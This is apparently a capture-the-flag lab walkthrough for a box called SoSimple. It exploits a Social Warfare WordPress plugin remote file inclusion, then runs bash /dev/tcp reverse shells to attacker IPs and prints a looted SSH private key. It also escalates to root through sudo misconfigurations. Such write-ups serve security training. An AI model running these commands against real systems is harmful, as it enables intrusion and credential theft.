

SoSimple

Nmap

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
|   256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
|_  256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: So Simple
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Gobuster

/wordpress

Plugin version

Page source reveals social warfare plugin v3.5.0

```
<!-- Social Warfare v3.5.0 https://warfareplugins.com --><!--
url("http://192.168.95.78/wordpress/wp-content/plugins,
<!-- Social Warfare v3.5.0 https://warfareplugins.com -->
```

Public exploit available on exploit db

<https://www.exploit-db.com/exploits/46794>

Proof of concept

1. Create payload file and host it on a location accessible by a targeted website.
Payload content : "<pre>system('cat /etc/passwd')</pre>"
2. Visit `http://WEBSITE/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_HOST/payload.txt`
3. Content of `/etc/passwd` will be returned

Foothold

```
python2 46794.py --target "http://192.168.95.78/wordpress/" --payload-uri "http://192.168.49.95:8000/payload.txt"
```

returns output specified in out payload.txt

```
<pre>system('cat /etc/passwd')</pre>
```

```
(root@kali) ~ - /pg/boxes/sosimple
# python2 46794.py --target "http://192.168.95.78/wordpress/" --payload-uri "http://192.168.49.95:8000/payload.txt"
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptogra
py, and will be removed in the next release.
[>] Sending Payload to System!
[*] Received Response From Server!
[*] Received:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,/run/systemd:/usr/sbin/nologin
messagebus:x:103:106:/:nonexistent:/usr/sbin/nologin
syslog:x:104:110:/:home/syslog:/usr/sbin/nologin
_apt:x:105:65534:/:nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,/var/lib/tpm:/bin/false
uuid:x:107:112:/:run/uuid:/usr/sbin/nologin
tcpdump:x:108:113:/:nonexistent:/usr/sbin/nologin
landscape:x:109:115:/:var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1:/:var/cache/pollinate:/bin/false
sshd:x:111:65534:/:run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:./usr/sbin/nologin
max:x:1000:1000:root:/home/max:/bin/bash
lxd:x:998:100:/:var/snap/lxd/common/lxd:/bin/false
mysql:x:112:110:MySQL Server,,/nonexistent:/bin/false
steven:x:1001:1001:Steven,,/home/steven:/bin/bash
```

We see a steven user

Getting on the box

I tried running a bash reverse shell through the payload.txt but it does not call back. Instead we can create a bash script on the box and run it.

Put these commands in the payload.txt and re-run the exploit

```
echo "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1" > shell.sh
```

```
#Change the permissions
```

```
chmod +x shell.sh
```

```
#Now send a command to run the exploit after setting up a nc listner
```

```
bash shell.sh
```

```
(root@kali) ~ - /pg/boxes/sosimple
# python2 46794.py --target "http://192.168.95.78/wordpress/" --payload-uri "http://192.168.49.95:8000/payload.txt"
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
[>] Sending Payload to System!
```

```
(root@kali) - [~/pg/boxes/sosimple]
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.49.95] from (UNKNOWN) [192.168.95.78] 53318
bash: cannot set terminal process group (922): Inappropriate ioctl for device
bash: no job control in this shell
www-data@so-simple:/var/www/html/wordpress/wp-admin$
```

Interesting files

mybackup.txt

```
JEQGQYLWMUQHI3ZANNSWK4BAORUGS4ZAOBQXG43XN5ZGIIDTN5WWK53IMVZGKIDTMFTGK3DZEBRGKY3BOVZ
WKICJEBRWC3RHOQQHEZLNMMVWWEZLSEBUXIORAN5YGK3TTMVZWC3LF
```

/home/max/.ssh/id_rsa

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3B1bnNzaC1rZXktdjEAAAAABG5vbmUAAAAAEbm9uZQAAAAAAAAABAAABlwAAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAx231yVBZBsJXe/V0tPEjNCQXoK+p5HsA74EJR7QoI+bsuarBd4Cd
mnckYREKpbjS4LLmN7awDGa8rbAuYq8JcXPd00Z4bjMkn0Nbcfc+u/60Hwcvu6mhiW/zdS
DKJxxH+OhVhblmgqHnY4U19ZfyL3/sIvpvQ1SVhwBHDkWP04AJpwhoL4J8AbqtS526LBdL
KhhC+tThhG5d7PfUZMzMqyvWQ+L53aXRL1MaFYNcahgzzk0xt2CJsCWDkAlacuxtXoQHp9
SrMYTW6P+CMEoyQ3wkVRRF7oN7x4mBD8zdSM1wc3Ui1RN1sep20AdE9PE3KHsImrcMGXI3
D1ajf9C3exrIMSycv9Xo6xiHlzKUoVcrFadoHnyLI4UgWeM23YDTP1Z05KIJrovIzUtjuN
pHSQIL0SxEF/h0udjJLxXxDDv/ExXDEXZgK5J2d24RwZg9kYuaFDfHRLYXpFYekBr0D7z/
qE5QtjS14+6JgQS9he3ZIZHucayi2B5IQoKGsgGzAAAFiMF1atXBdWrVAAAAB3NzaC1yc2
EAAAGBAMdt9clQWQbCV3v1TrTxIzQkF6CvqeR7A0+BCUe0KCPm7LmqwXeAnZp3JGERCqW4
0uCy5je2sAxmvK2wLmKvCXFz3TjmeG4zJJzjW3H3Prv+jh8HL7upoYlv83Ugyiccr/joVY
W5ZoKh520FNfWX8i9/7CKb6UNU1YcARw5FjzuACacIaC+CfAG6rUuduiwXSyoYQvrU4YRu
Xez31GTMzKsr1kPi+d2l0S9TGhWDXGoYM85NMbdgibAlg5AJWnLsbV6EB6fUqzGE1uj/gj
BKMkn8JFUURE6De8eJgQ/M3UjNcHN1IpUTdbHqdtAHRPTxNyh7CJq3DBlyNw9Wo3/Qt3sa
yDEsnL/V60sYh5cy1KFXXxWnaB58iyOFIFnjNt2A0z9Wd0SiCa6LyM1LY7jaR0kCC9EsRB
f4TrnYyS8V8Qw7/xMVwxF2YCuSdnduEcGYPZGLmnwxYUS2F6RWHpAa9A+8/6hOULY0tePu
iYEEvYXt2SGR7ngsotgeSEKChrIBswAAAAMBAAEAAAGBAJ6Z/JaVp7eQZzLV7DpKa8zTx1
arXVmv2RagcFjuFd43kJw4CJSZXL2zcuMfQnB5hHveyugUCf5S1krrinhA7CmmE5Fk+PHr
Cnsa9Wa1Utb/otdar8PFk/C5b8z+vsZL35E8dIdc4wGQ8QxcrIUcyiasfYcop2I8qo4q0l
evSjHvqb2FGhZu12BordktHxphjA12Lg59rrw7acdDcU6Y8UxQGJ70q/JyJOKWHHBvf9eA
V/MBwUAtL1NAA1lS1vQ+wXKunTBxwHDZ3ia3a5TCAFNhS3p0WnWcbvVBgnNgkGp/Z/Kvob
Jcdi1nKfi0w0/ofZpQA9a8gCPw9abUnAYKaKCF1W4h1Ke21F0qAeBnaGuyVjL+Qedp6kPF
zORHt816j+9lMfqDsJjpsR1a0kqtWJX806fZfgFLxSGP1B9I6hc/kPOBD+PVTmhIsa4+CN
f6D3m4Z15YJ9TEodSIuY470iCRXqRiTqKUMGGsdTf4c8snpor6fPbzkEPoolrj+Ua1wQAA
AMBxfIybC03A0M9v1jFZSCysk5CcJwR7s3yq/0UqrzwS51LxbXgEjE6It9QnKavJ0UEFWq
g8RMNip75R1g+AAoTH2DX0QQXhQ5tV2j0NZeQydoV7Z3dMgwWY+vFwJT4jf1V1yvw2kuNQ
N3YS+1sxvxMWxWh28K+UtkbfaQbtyVBcrNS5UkIyiDx/OEGIq5QHGiNBvnd5gZCjdazueh
```

```
cQaj26Nmy8JCcnjiqK1JWXoleCdGZ48PdQfpNUbs5UkXTCIV8AAADBAPtx1p6+LgxGfH7n
NsJZXS WKys4XVLOFcQK/GnheAr36bAyCPk4wR+q7CrdrHwn0L22vgx2Bb9LhMsM9FzpUAk
AiXA0SwqA8FqZuGIzmYBV1YUm9TLI/b01tCr02+prFxbbxjq9X3gmRTu+Vyuz1mR+/Bpn
+q8Xakx9+xgF0nVxhZ1fxCFQ01FoG0dfhgyDF1IekET9zrnbs/MmpUHpA7Lpvn0TMwMXxh
LaFugPsoLF3ZZcNc6pLzS2h3D5Y0FyfwAAAMEAywriLVyBnLmfh5PIwbAhM/B9qMgbbCeN
pgVr82fDG6mg8FycM7iU4E6f70vbFE8UhxaA28nLHKJqiobZgqLeb2/EsGoEg5Y5v7P8pM
uNiCzAdSu+RLC0CHf1Y0oLWn3smE86CmkcBkA0jk89zIh2nPkrv++thFYTFQnAxmjNswyP
m0Qa+EvvCAajPHDTCR46n2vvMANUFIRhwtDdCeDzzURs1XJCMeiXD+0ovg/mzg2bp1bYp3
2KtNjtorSgKa7NAAAADnJvb3RAc28tc21tcGx1AQIDBA==
-----END OPENSSH PRIVATE KEY-----
```

We can copy Max's rsa key and ssh as him

```
ssh -i max-rsa max@192.168.95.78
```

Priv esc

```
[+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for max on so-simple:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User max may run the following commands on so-simple:
    (steven) NOPASSWD: /usr/sbin/service
```

Max can sudo as steven

```
sudo -u steven /usr/sbin/service ../../bin/sh
```

```
max@so-simple:/home/steven$ sudo -u steven /usr/sbin/service ../../bin/sh
$ id
uid=1001(steven) gid=1001(steven) groups=1001(steven)
```

Steven can run sudo on /opt/tools/server-health.sh but it does not exist

Create the directory and place a reverse-shell named server-health.sh

```
Cd /opt
mkdir tool
```

Bash reveerse shell

```
echo "bash -i >& /dev/tcp/192.168.49.95/9001 0>&1" > server-health.sh
```

```
$ sudo -u root /opt/tools/server-health.sh
```

```
(rootkali)-[~/pg/boxes/sosimple] • Using
# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.49.95] from (UNKNOWN) [192.168.95.78] 53342
root@so-simple:/opt/tools# id
id
uid=0(root) gid=0(root) groups=0(root)
root@so-simple:/opt/tools#
```